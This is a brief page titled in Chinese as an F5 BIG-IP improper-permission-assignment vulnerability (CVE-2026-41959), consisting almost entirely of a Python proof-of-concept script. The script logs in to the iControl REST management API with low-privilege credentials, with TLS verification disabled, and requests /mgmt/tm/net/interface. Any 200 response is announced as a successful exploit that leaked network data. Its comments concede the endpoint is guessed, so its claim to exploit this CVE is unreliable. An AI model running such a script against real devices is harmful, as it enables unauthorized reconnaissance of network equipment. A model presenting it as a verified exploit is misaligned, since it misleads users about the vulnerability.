CVE-2026-41959 F5权限分配不当漏洞

# CVE-2026-41959 Proof of Concept (Simulation) # This script simulates an unauthorized attempt to access network diagnostics # via iControl REST due to incorrect permission assignment. import requests import sys # Configuration TARGET_HOST = "https://<big-ip-management-ip>" USERNAME = "low_priv_user" # Low privilege user PASSWORD = "password" def exploit(): # The endpoint for network status/diagnostics that should be restricted # Based on the vulnerability, this might be /mgmt/tm/net/ or similar diagnostics path url = f"{TARGET_HOST}/mgmt/tm/net/interface" try: print(f"[*] Attempting to access network diagnostics at {url}...") # Send request with basic auth using low-privilege credentials response = requests.get( url, auth=(USERNAME, PASSWORD), verify=False, # Ignore SSL certificate verification for testing timeout=10 ) if response.status_code == 200: print("[+] Success! Permission assignment vulnerability exploited.") print("[+] Leaked Network Status Information:") print(response.text) else: print(f"[-] Failed. Status Code: {response.status_code}") print("[-] The target might be patched or the endpoint is correctly restricted.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": exploit()